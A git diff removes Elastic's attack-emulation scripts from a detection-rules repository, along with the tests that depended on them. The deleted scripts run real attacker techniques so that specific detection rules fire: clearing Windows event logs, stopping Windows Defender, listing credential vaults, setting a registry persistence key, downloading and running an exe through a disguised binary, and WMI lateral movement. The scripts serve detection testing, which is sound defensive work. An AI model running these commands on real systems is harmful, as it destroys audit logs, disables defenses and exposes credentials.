endpoint=[ - { - "rule_name": "Unexpected SMB Connection from User-mode Process", - "rule_id": "2fbbd139-3919-4b6b-9c50-9452b0aef005", - } - ], - siem=[], - techniques=["T1021"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - posh = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\posh.exe" - - # Execute command - common.copy_file(powershell, posh) - common.log("Testing connection to Portquiz at Port 445") - common.execute( - [ - posh, - "/c", - "Test-NetConnection", - "-ComputerName", - "portquiz.net", - "-Port", - "445", - ], - timeout=10, - ) - common.remove_files(posh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/vaultcmd_commands.py b/rta/vaultcmd_commands.py deleted file mode 100644 index 67cf397eb..000000000 --- a/rta/vaultcmd_commands.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Searching Credential Vaults via VaultCmd -# RTA: vaultcmd_commands.py -# ATT&CK: T1003 -# Description: Lists the Windows Credential Vaults on the endpoint - -import sys - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="53d071d9-36e3-4b40-83c8-d818bd831010", - platforms=["windows"], - endpoint=[], - siem=[ - {"rule_id": "be8afaed-4bcd-4e0a-b5f9-5562003dde81", "rule_name": "Searching for Saved Credentials via VaultCmd"} - ], - techniques=["T1555", "T1003"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Searching Credential Vaults via VaultCmd") - - common.execute(["vaultcmd.exe", "/list"]) - - -if __name__ == "__main__": - exit(main(*sys.argv[1:])) diff --git a/rta/vsingle_malware.py b/rta/vsingle_malware.py deleted file mode 100644 index 79144628e..000000000 --- a/rta/vsingle_malware.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="900e2180-6eea-47cb-9960-fcd2156d54bd", - platforms=["linux"], - endpoint=[{"rule_id": "fa59e598-8adc-4798-af82-9f878934d975", "rule_name": "Potential VSingle Malware Infection"}], - siem=[], - techniques=["TA0011"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/wget" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Launching fake builtin commands for vsingle malware infection") - command = "/test/tmp/.sess_fake" - common.execute([masquerade, command], timeout=10, kill=True, shell=True) # noqa: S604 - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/webproxy_modification.py b/rta/webproxy_modification.py deleted file mode 100644 index 934ee03e7..000000000 --- a/rta/webproxy_modification.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="bc6130d9-f4fd-46c6-bcfe-623be6c51a3b", - platforms=["macos"], - endpoint=[], - siem=[{"rule_name": "WebProxy Settings Modification", "rule_id": "10a500bb-a28f-418e-ba29-ca4c8d1a9f2f"}], - techniques=["T1539"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/networksetup" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake networksetup commands to configure webproxy settings") - common.execute([masquerade, "-setwebproxy"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/webservice_lolbas.py b/rta/webservice_lolbas.py deleted file mode 100644 index 4974f9fe8..000000000 --- a/rta/webservice_lolbas.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="b7a7d246-b1ef-4d08-85ce-92e1cfc18520", - platforms=["windows"], - endpoint=[ - { - "rule_name": "External IP Address Discovery via a Trusted Program", - "rule_id": "51894221-7657-4b56-9406-e080e19ad159", - }, - { - "rule_name": "Connection to WebService by a Signed Binary Proxy", - "rule_id": "c567240c-445b-4000-9612-b5531e21e050", - }, - ], - siem=[], - techniques=["T1102", "T1218", "T1016", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - # Execute command - common.log("Retrieving the public IP Address using ipify") - common.execute( - [powershell, "/c", "iwr", "http://api.ipify.org/", "-UseBasicParsing"], - timeout=10, - ) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/webservice_unsigned.py b/rta/webservice_unsigned.py deleted file mode 100644 index 4389660dd..000000000 --- a/rta/webservice_unsigned.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="049f1e5e-99a9-4a0f-afac-b7b41b96ed12", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Connection to WebService by an Unsigned Binary", - "rule_id": "2c3efa34-fecd-4b3b-bdb6-30d547f2a1a4", - } - ], - siem=[], - techniques=["T1102", "T1071"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - posh = "C:\\Users\\Public\\posh.exe" - common.copy_file(EXE_FILE, posh) - - # Execute command - common.log("Using PowerShell to connect to Google Drive") - common.execute([posh, "/c", "iwr", "https://drive.google.com", "-UseBasicParsing"], timeout=10) - common.remove_file(posh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/werfault_masquerading.py b/rta/werfault_masquerading.py deleted file mode 100644 index 916dcc947..000000000 --- a/rta/werfault_masquerading.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="41c82553-01c2-41d6-a15d-3499fa99b4c0", - platforms=["windows"], - endpoint=[ - {"rule_name": "Windows Error Manager/Reporting Masquerading", "rule_id": "3d16f5f9-da4c-4b15-a501-505761b75ca6"} - ], - siem=[], - techniques=["T1055", "T1036"], -) - -EXE_FILE = common.get_path("bin", "regsvr32.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - werfault = "C:\\Users\\Public\\werfault.exe" - - common.copy_file(EXE_FILE, werfault) - common.log("Making connection using fake werfault.exe") - common.execute([werfault], timeout=10, kill=True) - common.remove_file(werfault) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/werfault_persistence.py b/rta/werfault_persistence.py deleted file mode 100644 index 2559d51cf..000000000 --- a/rta/werfault_persistence.py +++ /dev/null @@ -1,79 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: WerFault.exe Persistence -# RTA: werfault_persistence.py -# signal.rule.name: Process Potentially Masquerading as WerFault -# ATT&CK: T1112 -# Description: Sets an executable to run when WerFault is run with -rp flags and runs it - -import time - -from . import common -from . import RtaMetadata - -MY_APP = common.get_path("bin", "myapp.exe") - - -metadata = RtaMetadata( - uuid="cbd90dde-02f4-4010-b654-ccabff3c3c73", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "ac5012b8-8da8-440b-aaaf-aedafdea2dff", "rule_name": "Suspicious WerFault Child Process"}], - techniques=["T1036"], -) - - -@common.requires_os(*metadata.platforms) -@common.dependencies(MY_APP) -def main(): - reg_key = "'HKLM:\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\hangs'" - reg_name = "ReflectDebugger" - - commands = ["C:\\Windows\\system32\\calc.exe", "'powershell -c calc.exe'", MY_APP] - - for command in commands: - common.log("Setting WerFault reg key to {}".format(command)) - common.execute( - [ - "powershell", - "-c", - "New-ItemProperty", - "-Path", - reg_key, - "-Name", - reg_name, - "-Value", - command, - ], - wait=False, - ) - time.sleep(1) - - common.log("Running WerFault.exe -pr 1") - common.execute(["werfault", "-pr", "1"], wait=False) - time.sleep(2.5) - - common.execute( - [ - "powershell", - "-c", - "Remove-ItemProperty", - "-Path", - reg_key, - "-Name", - reg_name, - ] - ) - - common.log("Cleaning up") - - common.execute(["taskkill", "/F", "/im", "calc.exe"]) - common.execute(["taskkill", "/F", "/im", "calculator.exe"]) - common.execute(["taskkill", "/F", "/im", "myapp.exe"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/wevtutil_log_clear.py b/rta/wevtutil_log_clear.py deleted file mode 100644 index fad12fcc0..000000000 --- a/rta/wevtutil_log_clear.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Clearing Windows Event Logs -# RTA: wevutil_log_clear.py -# signal.rule.name: Clearing Windows Event Logs -# ATT&CK: T1070 -# Description: Uses the native Windows Event utility to clear the Security, Application and System event logs. - -import time - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="12b28e92-281f-49a7-a8b3-54681ba6d63e", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "d331bbe2-6db4-4941-80a5-8270db72eb61", "rule_name": "Clearing Windows Event Logs"}], - techniques=["T1070"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Clearing Windows Event Logs") - common.log("WARNING - About to clear logs from Windows Event Viewer", log_type="!") - time.sleep(3) - wevtutil = "wevtutil.exe" - - for log in ["security", "application", "system"]: - common.execute([wevtutil, "cl", log]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/windefend_svc_stop.py b/rta/windefend_svc_stop.py deleted file mode 100644 index 8fe208a79..000000000 --- a/rta/windefend_svc_stop.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="811ccfc2-d0fc-4a2a-85f6-6dc1235278bf", - platforms=["windows"], - endpoint=[ - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "Attempt to Disable Windows Defender Services", - "rule_id": "32ab2977-2932-4172-9117-36e382591818", - }, - ], - siem=[], - techniques=["T1562", "T1036"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - tempshell = "C:\\Users\\Public\\powershell.exe" - common.copy_file(powershell, tempshell) - - # Execute command - common.log("Attempting to stop Windefend, which will not work unless running as SYSTEM") - common.execute([tempshell, "/c", "sc.exe stop Windefend"]) - common.remove_file(tempshell) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/windows_script_host_file_written_exec.py b/rta/windows_script_host_file_written_exec.py deleted file mode 100644 index d6577a66a..000000000 --- a/rta/windows_script_host_file_written_exec.py +++ /dev/null @@ -1,52 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="6ffcba60-acde-46e2-994a-a79ec8e07ef3", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "Execution of a File Written by Windows Script Host", - "rule_id": "49e47c2a-307f-4591-939a-dfdae6e5156c", - }, - { - "rule_name": "Suspicious Windows Script Interpreter Child Process", - "rule_id": "83da4fac-563a-4af8-8f32-5a3797a9068e", - }, - ], - siem=[], - techniques=["T1055", "T1218", "T1036", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - server, ip, port = common.serve_web() - url = f"http://{ip}:{port}/bin/renamed_posh.exe" - - cscript = "C:\\Users\\Public\\cscript.exe" - dropped = "C:\\Users\\Public\\posh.exe" - common.copy_file(EXE_FILE, cscript) - - cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}" - - # Execute command - common.log("Using a fake cscript to drop and execute an .exe") - common.execute([cscript, "/c", cmd], timeout=10) - common.execute([cscript, "/c", dropped], timeout=10, kill=True) - common.remove_file(cscript) - common.remove_file(dropped) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/winrar_encrypted.py b/rta/winrar_encrypted.py deleted file mode 100644 index 1736d4261..000000000 --- a/rta/winrar_encrypted.py +++ /dev/null @@ -1,107 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Encrypting files with WinRAR -# RTA: winrar_encrypted.py -# ATT&CK: T1022 -# Description: Uses "bin\rar.exe" to perform encryption of archives and archive headers. - -import base64 -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="6d2d3c21-2d71-4395-8ab7-b1d0138d9225", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "45d273fb-1dca-457d-9855-bcb302180c21", "rule_name": "Encrypting Files with WinRar or 7z"}], - techniques=["T1560"], -) - - -MY_APP = common.get_path("bin", "myapp.exe") -WINRAR = common.get_path("bin", "Rar.exe") - - -def create_exfil(path=Path("secret_stuff.txt").resolve()): - common.log("Writing dummy exfil to %s" % path) - with open(path, "wb") as f: - f.write(base64.b64encode(b"This is really secret stuff" * 100)) - return path - - -@common.requires_os(*metadata.platforms) -@common.dependencies(MY_APP, WINRAR) -def main(password="s0l33t"): - # Copies of the rar.exe for various tests - winrar_bin_modsig = common.get_path("bin", "rar_broken-sig.exe") - common.patch_file(WINRAR, b"win.rar GmbH", b"bad.bad GmbH", winrar_bin_modsig) - - # Renamed copies of executables - winrar_bin_modsig_a = Path("a.exe").resolve() - winrar_bin_b = Path("b.exe").resolve() - - common.copy_file(winrar_bin_modsig, winrar_bin_modsig_a) - common.copy_file(WINRAR, winrar_bin_b) - - # Output options for various tests - rar_file = Path("out.rar").resolve() - rar_file_jpg = Path("out.jpg").resolve() - common.remove_files(rar_file, rar_file_jpg) - - # use case: rar with -hp to generate new rar file w/ .rar - - common.log("Test case 1: Basic use new rar out", log_type="!") - exfil = create_exfil() - common.execute([WINRAR, "a", rar_file, "-hp" + password, exfil]) - - # use case: rar with -hp to add to existing rar file - # didn't delete rar from previous case - common.log("Test case 2: Basic use add to existing rar", log_type="!") - exfil2 = create_exfil("more_stuff.txt") - common.execute([WINRAR, "a", rar_file, "-hp" + password, exfil2]) - common.remove_files(exfil2, rar_file) - - # use case: process_name == "*rar*" - yes - # original_file_name == "*rar*" - no - # signature_signer == "*win.rar*" - no - # output filename == "*.rar" - no - common.log("Test case 3: *rar* in process name", log_type="!") - common.execute([winrar_bin_modsig, "a", rar_file_jpg, "-hp" + password, exfil]) - common.remove_files(rar_file_jpg) - - # use case: process_name == "*rar*" - no - # original_file_name == "*rar*" - no - # signature_signer == "*win.rar*" - yes - # output filename == "*.rar" - no - common.log("Test case 4: Expected WinRar signature", log_type="!") - common.execute([winrar_bin_b, "a", rar_file_jpg, "-hp" + password, exfil]) - common.remove_files(rar_file_jpg) - - # use case: process_name == "*rar*" - no - # original_file_name == "*rar*" - no - # signature_signer == "*win.rar*" -no - # output filename == "*.rar" - yes - common.log("Test case 5: *.rar in output filename", log_type="!") - common.execute([winrar_bin_modsig_a, "a", rar_file, "-hp" + password, exfil]) - - common.remove_files(rar_file, winrar_bin_modsig_a, winrar_bin_b, exfil) - - # false positive - should not match signature - # use case: process_name == "*rar*" - no - # original_file_name == "*rar*" - no - # signature_signer == "*win.rar*" -no - # output filename == "*.rar" - no - common.log("Test case 6: FP, shouldn't alert, run with myapp.exe", log_type="!") - common.execute([MY_APP, "-hpbadargument"]) - - common.log("Cleanup", "-") - common.remove_files(winrar_bin_modsig, winrar_bin_modsig_a, winrar_bin_b) - - -if __name__ == "__main__": - exit(main(*sys.argv[1:])) diff --git a/rta/winrar_startup_folder.py b/rta/winrar_startup_folder.py deleted file mode 100644 index ff5c7fc4c..000000000 --- a/rta/winrar_startup_folder.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: WinRAR Startup Folder -# RTA: winrar_startup_folder.py -# ATT&CK: T1060 -# Description: Writes batch file into Windows Startup folder using process ancestry tied to exploit (CVE-2018-20250) - -import os -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="6d2d3c21-2d71-4395-8ab7-b1d0138d9225", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("WinRAR StartUp Folder Persistence") - win_rar_path = Path("WinRAR.exe").resolve() - ace_loader_path = Path("Ace32Loader.exe").resolve() - batch_file_path = "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mssconf.bat" - startup_path = os.environ["USERPROFILE"] + batch_file_path - common.copy_file("C:\\Windows\\System32\\cmd.exe", win_rar_path) - common.copy_file("C:\\Windows\\System32\\cmd.exe", ace_loader_path) - common.execute( - [win_rar_path, "/c", ace_loader_path, "/c", "echo", "test", "^>", startup_path], - kill=True, - ) - common.remove_file(startup_path) - common.remove_file(ace_loader_path) - common.remove_file(win_rar_path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/wizardupdate_infection.py b/rta/wizardupdate_infection.py deleted file mode 100644 index 4d7c00a48..000000000 --- a/rta/wizardupdate_infection.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1048ff54-4ac4-441f-839d-e4d06a0cb211", - platforms=["macos"], - endpoint=[ - {"rule_id": "eb78fa0f-5e8a-4c15-a099-e904c4a226e6", "rule_name": "Potential WizardUpdate Malware Infection"} - ], - siem=[], - techniques=[""], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/curl" - common.create_macos_masquerade(masquerade) - - # Execute commands - common.log("Launching fake curl commands to mimic WizardUpdate infection") - common.execute([masquerade, "test_intermediate_agent_testmachine_idtest"], timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/wmi_incoming_logon.py b/rta/wmi_incoming_logon.py deleted file mode 100644 index 417b23117..000000000 --- a/rta/wmi_incoming_logon.py +++ /dev/null @@ -1,50 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: WMI Incoming Lateral Movement -# RTA: wmi_incoming_logon.py -# ATT&CK: T1047 -# Description: Uses PS WMI to trigger 2 logon events via wmi and 1 control logon, which should result in 2 alerts total - -import sys - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="3adf005f-94b8-4b34-8994-d5a3dc6666c2", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "f3475224-b179-4f78-8877-c2bd64c26b88", "rule_name": "WMI Incoming Lateral Movement"}], - techniques=["T1047"], -) - - -@common.requires_os(*metadata.platforms) -def main(remote_host=None): - if not remote_host: - common.log("A remote host is required to detonate this RTA", "!") - return common.MISSING_REMOTE_HOST - - common.enable_logon_auditing(remote_host) - - common.log("Attempting to trigger a remote logon on {}".format(remote_host)) - - commands = [ - "Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList {}".format(remote_host, c) - for c in ("ipconfig", "netstat") - ] - - # trigger twice - for command in commands: - common.execute(["powershell", "-c", command]) - - # this should not trigger an alert - common.execute(["net.exe", "time", "\\\\{}".format(remote_host)]) - - -if __name__ == "__main__": - exit(main(*sys.argv[1:])) diff --git a/rta/wmic_xsl_exec.py b/rta/wmic_xsl_exec.py deleted file mode 100644 index bbefca2de..000000000 --- a/rta/wmic_xsl_exec.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="b9d5427a-33c4-4b1d-838d-f47c5f3b0b43", - platforms=["windows"], - endpoint=[ - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - {"rule_name": "Suspicious WMIC XSL Script Execution", "rule_id": "18371ec4-ee2f-465b-8757-ee726914006c"}, - ], - siem=[], - techniques=["T1220", "T1047", "T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") - - -@common.requires_os(*metadata.platforms) -def main(): - wmic = "C:\\Users\\Public\\wmic.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\jscript.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - common.copy_file(EXE_FILE, wmic) - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - - common.log("Loading jscript.dll into fake wmic") - common.execute( - [wmic, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}; echo /format:"], - timeout=10, - ) - - common.remove_files(wmic, dll, ps1) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/wuauclt_image_load.py b/rta/wuauclt_image_load.py deleted file mode 100644 index 4e83cf6e0..000000000 --- a/rta/wuauclt_image_load.py +++ /dev/null @@ -1,66 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="42eed432-af05-45d3-b788-7e3220f81f9a", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Suspicious ImageLoad via Windows Update Auto Update Client", - "rule_id": "3788c03d-28a5-4466-b157-d6dd4dc449bb", - } - ], - siem=[{ - 'rule_id': 'edf8ee23-5ea7-4123-ba19-56b41e424ae3', - 'rule_name': 'ImageLoad via Windows Update Auto Update Client' - }], - techniques=["T1218"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - wuauclt = "C:\\Users\\Public\\wuauclt.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\unsigned.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(EXE_FILE, wuauclt) - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - common.copy_file(RENAMER, rcedit) - - # Modify the originalfilename to invalidate the code sig - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "unsigned.exe"]) - - common.log("Loading unsigned.dll into fake wuauclt") - common.execute( - [ - wuauclt, - "-c", - f"Import-Module {ps1}; Invoke-ImageLoad {dll}", - ";echo", - "/RunHandlerComServer", - ";echo", - "/UpdateDeploymentProvider", - "C:\\Users\\a.dll" - ], - timeout=10, - ) - - common.remove_files(wuauclt, dll, ps1, rcedit) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/xcsset_infection.py b/rta/xcsset_infection.py deleted file mode 100644 index 9adf70e44..000000000 --- a/rta/xcsset_infection.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - -from pathlib import Path - -metadata = RtaMetadata( - uuid="4693d845-6b2f-435a-92aa-54421071e599", - platforms=["macos"], - endpoint=[{"rule_id": "875b71bb-ef09-46b2-9c12-a95112461e85", "rule_name": "Potential XCSSET Malware Infection"}], - siem=[], - techniques=[""], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/zip" - common.create_macos_masquerade(masquerade) - - # Execute commands - common.log("Launching fake XCSSET commands to zip the Group Containers directory") - common.execute([masquerade, "-r", f"{Path.home()}/Library/Group Containers/test"], shell=True, timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/tests/test_all_rules.py b/tests/test_all_rules.py index d898b0f34..23160f00b 100644 --- a/tests/test_all_rules.py +++ b/tests/test_all_rules.py @@ -29,9 +29,8 @@ from detection_rules.rule import (AlertSuppressionMapping, EQLRuleData, QueryRul from detection_rules.rule_loader import FILE_PATTERN, RULES_CONFIG from detection_rules.rule_validators import EQLValidator, KQLValidator from detection_rules.schemas import definitions, get_min_supported_stack_version, get_stack_schemas -from detection_rules.utils import INTEGRATION_RULE_DIR, PatchedTemplate, get_path, load_etc_dump, make_git +from detection_rules.utils import INTEGRATION_RULE_DIR, PatchedTemplate, get_path, make_git from detection_rules.version_lock import loaded_version_lock -from rta import get_available_tests from .base import BaseRuleTest @@ -73,21 +72,6 @@ class TestValidRules(BaseRuleTest): f'Expected: {optimized}\nActual: {source}' self.assertEqual(tree, optimized, err_message) - def test_production_rules_have_rta(self): - """Ensure that all production rules have RTAs.""" - mappings = load_etc_dump('rule-mapping.yaml') - ttp_names = sorted(get_available_tests()) - - for rule in self.all_rules: - if isinstance(rule.contents.data, QueryRuleData) and rule.id in mappings: - matching_rta = mappings[rule.id].get('rta_name') - - self.assertIsNotNone(matching_rta, f'{self.rule_str(rule)} does not have RTAs') - - rta_name, ext = os.path.splitext(matching_rta) - if rta_name not in ttp_names: - self.fail(f'{self.rule_str(rule)} references unknown RTA: {rta_name}') - def test_duplicate_file_names(self): """Test that no file names are duplicated.""" name_map = defaultdict(list) diff --git a/tests/test_mappings.py b/tests/test_mappings.py deleted file mode 100644 index 32c4584d4..000000000 --- a/tests/test_mappings.py +++ /dev/null @@ -1,90 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -"""Test that all rules appropriately match against expected data sets.""" -import copy -import unittest -import warnings - -from . import get_data_files, get_fp_data_files -from detection_rules.config import parse_rules_config -from detection_rules.utils import combine_sources, evaluate, load_etc_dump -from rta import get_available_tests -from .base import BaseRuleTest - - -RULES_CONFIG = parse_rules_config() - - -class TestMappings(BaseRuleTest): - """Test that all rules appropriately match against expected data sets.""" - - FP_FILES = get_fp_data_files() - - def evaluate(self, documents, rule, expected, msg): - """KQL engine to evaluate.""" - filtered = evaluate(rule, documents, RULES_CONFIG.normalize_kql_keywords) - self.assertEqual(expected, len(filtered), msg) - return filtered - - def test_true_positives(self): - """Test that expected results return against true positives.""" - mismatched_ecs = [] - mappings = load_etc_dump('rule-mapping.yaml') - - for rule in self.all_rules: - if rule.contents.data.type == "query" and rule.contents.data.language == "kuery": - if rule.id not in mappings: - continue - - mapping = mappings[rule.id] - expected = mapping['count'] - sources = mapping.get('sources') - rta_file = mapping['rta_name'] - - # ensure sources is defined and not empty; schema allows it to not be set since 'pending' bypasses - self.assertTrue(sources, 'No sources defined for: {} - {} '.format(rule.id, rule.name)) - msg = 'Expected TP results did not match for: {} - {}'.format(rule.id, rule.name) - - data_files = [get_data_files('true_positives', rta_file).get(s) for s in sources] - data_file = combine_sources(*data_files) - results = self.evaluate(data_file, rule, expected, msg) - - ecs_versions = set([r.get('ecs', {}).get('version') for r in results]) - rule_ecs = set(rule.metadata.get('ecs_version').copy()) - - if not ecs_versions & rule_ecs: - msg = '{} - {} ecs_versions ({}) not in source data versions ({})'.format( - rule.id, rule.name, ', '.join(rule_ecs), ', '.join(ecs_versions)) - mismatched_ecs.append(msg) - - if mismatched_ecs: - msg = 'Rules detected with source data from ecs versions not listed within the rule: \n{}'.format( - '\n'.join(mismatched_ecs)) - 